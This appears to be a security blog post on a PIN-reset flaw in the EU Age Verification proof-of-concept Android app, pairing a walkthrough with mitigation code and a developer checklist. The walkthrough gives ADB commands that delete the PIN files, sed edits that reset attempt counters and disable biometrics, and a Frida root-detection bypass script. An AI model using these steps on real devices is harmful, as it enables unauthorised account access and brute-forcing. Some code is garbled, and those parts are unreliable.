Listen to this Post

Introduction
Client-side storage of sensitive data—such as PINs, biometric tokens, or encryption keys—is a notorious weak point in mobile application security. When an application encrypts a user’s PIN but stores both the encrypted value and its initialization vector (IV) in plaintext shared preferences without hardware binding, any attacker with root access can delete, replace, or bypass these artifacts. The recent breach of the EU Age Verification proof-of-concept app demonstrates exactly this failure: within two minutes, a security researcher deleted the PIN encryption files, restarted the app, set a new PIN, and regained full access to the previous user’s credentials—bypassing rate limits and biometric controls along the way.
Learning Objectives
- Understand the risks of storing encrypted secrets in Android SharedPreferences without hardware-backed keystore integration.
- Learn step-by-step exploitation techniques (for authorized testing) including root access, ADB commands, and file manipulation.
- Implement server-side validation, secure rate limiting, and biometric binding to prevent similar bypasses.
You Should Know
- SharedPreferences Encryption Flaw: Why Deleting `PinEnc` and `PinIV` Grants Full Access
The EU Age Verification app (a proof-of-concept released on GitHub) used a common but flawed pattern: it encrypted the user’s PIN using a static or device‑derived key, then stored the ciphertext (PinEnc) and the initialization vector (PinIV) as separate XML entries inside /data/data/<package>/shared_prefs/. Because the app did not cryptographically tie these values to the device’s identity vault (e.g., Android Keystore with attestation), an attacker with root privileges could simply delete both entries, restart the app, and set a new PIN. The app, upon failing to find PinEnc, assumed no PIN was set and allowed a fresh enrollment—yet the previous user’s session tokens and credentials remained intact because they were stored elsewhere without re‑validation.
Step‑by‑step guide (educational / authorized testing only):
- Root the Android device – Note: rooting typically wipes user data, so this attack requires a pre‑rooted device or a custom ROM where root access is already available without wiping the app’s data (e.g., emulator with root enabled).
- Install the vulnerable APK and perform an initial PIN setup on a test account.
3. Connect via ADB (Android Debug Bridge):
adb shell su cd /data/data/com.eu.ageverification/shared_prefs/ ls -la
4. Locate the PIN preferences file (e.g., auth_prefs.xml). Pull it to your local machine:
cat auth_prefs.xml Example content: <map> <string name="PinEnc">AES/CBC/encrypted_base64...</string> <string name="PinIV">base64_iv...</string> </map>
5. Delete the PIN entries using `sed` or a text editor (or simply remove the file and let the app recreate it):
rm auth_prefs.xml
Alternatively, edit the file in‑place to remove the two lines.
6. Restart the app (force stop via adb shell am force-stop com.eu.ageverification).
7. Open the app – it now prompts for a new PIN setup. Set a new PIN of your choice.
8. Observe – the app grants access to the previous user’s data (e.g., stored credentials, profile information) because the backend session or local identity vault was never invalidated.
Why this works: The app failed to bind the PIN to a hardware‑backed key or to a server‑side identity. After PIN deletion, the app re‑initialized the PIN mechanism but did not re‑authenticate the user’s underlying session.
- Bypassing Rate Limiting and Biometric Configuration via SharedPreferences Manipulation
The same `shared_prefs` folder often contains configuration flags for rate limiting (e.g., failed_attempt_count, last_attempt_timestamp) and biometric toggles (e.g., biometric_enabled, biometric_forced). An attacker can reset these counters or disable biometric checks entirely by editing the XML files.
Step‑by‑step guide:
- Locate the rate‑limiting file – usually `security_prefs.xml` or similar.
2. Reset the failed attempt counter:
adb shell su cd /data/data/com.eu.ageverification/shared_prefs/ grep -i "attempt" .xml Example output: security_prefs.xml contains <int name="failed_pin_attempts" value="5" />
3. Set the counter to zero using `sed`:
sed -i 's/<int name="failed_pin_attempts" value="[0-9]"/<int name="failed_pin_attempts" value="0"/' security_prefs.xml
Or delete the file entirely to force default values.
4. Disable biometrics by changing a boolean flag:
sed -i 's/<boolean name="biometric_enabled" value="true"/<boolean name="biometric_enabled" value="false"/' security_prefs.xml
5. Restart the app – now you can attempt PIN guesses indefinitely without lockout, and biometric fallback to PIN is removed.
Mitigation: Never store security‑critical state (attempt counters, biometric flags) client‑side without server‑side mirroring and cryptographic signing. Use Android’s `EncryptedSharedPreferences` combined with a server‑side rate‑limiting endpoint.
3. Server‑Side Identity Binding: The Missing Link
The root cause of the breach is that the app trusted the client to manage the PIN‑to‑identity binding. Once the PIN was reset locally, the app did not require re‑validation of the user’s identity against the backend. Proper design demands that the PIN (or its hash) be stored server‑side, tied to a session token that is invalidated on any credential reset.
Implementation example (Node.js / Express with rate limiting):
// Server-side PIN verification endpoint
app.post('/verify-pin', rateLimit({ windowMs: 15601000, max: 5 }), (req, res) => {
const { userId, pinHash } = req.body;
const storedHash = db.get(<code>SELECT pin_hash FROM users WHERE id = ?</code>, userId);
if (storedHash !== pinHash) {
db.run(<code>UPDATE users SET failed_attempts = failed_attempts + 1 WHERE id = ?</code>, userId);
return res.status(401).json({ error: 'Invalid PIN' });
}
// On successful verify, reset failed attempts
db.run(<code>UPDATE users SET failed_attempts = 0, last_verified = NOW() WHERE id = ?</code>, userId);
res.json({ token: generateSessionToken(userId) });
});
Client‑side secure storage (Android Kotlin with Hardware Keystore):
val keyGenParameterSpec = KeyGenParameterSpec.Builder("myKey",
KeyProperties.PURPOSE_ENCRYPT or KeyProperties.PURPOSE_DECRYPT)
.setBlockModes(KeyProperties.BLOCK_MODE_GCM)
.setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE)
.setUserAuthenticationRequired(true) // Requires biometric/PIN before key use
.build()
val keyStore = KeyStore.getInstance("AndroidKeyStore")
keyStore.load(null)
val secretKey = keyStore.getKey("myKey", null)
Even with root, an attacker cannot extract the raw key material because it never leaves the Trusted Execution Environment (TEE) or StrongBox.
4. Hardening Against Rooted Devices: Detection and Response
While root detection can be bypassed, a defense‑in‑depth approach includes:
– SafetyNet / Play Integrity API to assess device integrity.
– Server‑side attestation – send a nonce to the client, have the client sign it with a hardware‑bound key, and verify the signature on the backend.
– Remote wipe – if root is detected and the app’s files are tampered with, invalidate all local sessions and require full re‑authentication.
Linux/Windows commands for testing root detection:
- Linux (ADB): `adb shell su -c “id”` to check if root is available.
- Windows (PowerShell): `adb shell “su -c ‘echo Rooted'”` – if output is
Rooted, the device is rooted. - Frida script to bypass root detection (for security researchers):
Java.perform(function() { var RootDetection = Java.use("com.example.RootDetection"); RootDetection.isDeviceRooted.implementation = function() { return false; }; });
5. Complete Mitigation Checklist for Developers
- Never store PINs or encryption keys in SharedPreferences – use `EncryptedSharedPreferences` + Android Keystore with user authentication required.
- Bind the PIN to the user’s server‑side identity – store a salted hash of the PIN on the backend, never on the device.
- Invalidate sessions on PIN reset – after a PIN change or deletion, force a full logout and require re‑login with primary credentials.
- Do not rely on client‑side rate limiting – implement exponential backoff and CAPTCHA on the API server.
- Use hardware‑backed biometrics with crypto objects – `setUserAuthenticationRequired(true)` ensures that biometric verification is required to use any decryption key.
- Sign all security‑critical preference files – generate an HMAC over the XML content and verify it before reading.
- Tools for Testing Mobile App Security (Local Labs Only)
| Tool | Purpose | Command Example |
||||
| MobSF (Mobile Security Framework) | Static & dynamic analysis | `docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf` |
| Frida | Runtime instrumentation | `frida -U -l bypass.js com.vulnerable.app` |
| Drozer | Android attack surface enumeration | `drozer console connect` |
| adb | File system access & logcat | `adb logcat \| grep -i “pin\|encrypt”` |
What Undercode Say
- Client‑side encryption without hardware binding is security theater – Deleting `PinEnc` and `PinIV` should never reset access control; that flaw indicates the app never truly validated the PIN against an authoritative source.
- Proof‑of‑concept apps must never be deployed as‑is – The EU’s GitHub release was explicitly a demo, yet the viral post omitted this critical disclaimer. Production systems require server‑side state, rate limiting, and session invalidation.
- Root access changes the threat model – While Daniel Bennett correctly noted that rooting typically wipes data, attackers with persistent root (e.g., custom ROMs, compromised devices) can still exploit this flaw. Defense must assume root is possible and design accordingly.
- Biometric and rate‑limiting flags must be cryptographically protected – Storing `biometric_enabled` or `failed_attempts` in plaintext XML invites trivial bypass. Sign the file or move counters to the backend.
Prediction
This incident will accelerate the EU’s shift toward hardware‑based digital identity wallets (eIDAS 2.0) that rely on Secure Elements and remote attestation rather than client‑side PIN storage. Within two years, we expect regulatory guidance explicitly prohibiting the storage of authentication secrets in unprotected SharedPreferences, mandating server‑side rate limiting, and requiring invalidation of all sessions on any local credential reset. Additionally, app stores (Google Play, Apple App Store) will likely introduce automated scanning for such “PIN deletion” vulnerabilities, rejecting apps that fail to bind PINs to the Android Keystore with user authentication required. Developers who ignore these lessons will face not only security breaches but also non‑compliance penalties under GDPR and the proposed eIDAS 2.0 enforcement mechanisms.
▶️ Related Video (70% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Https: – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


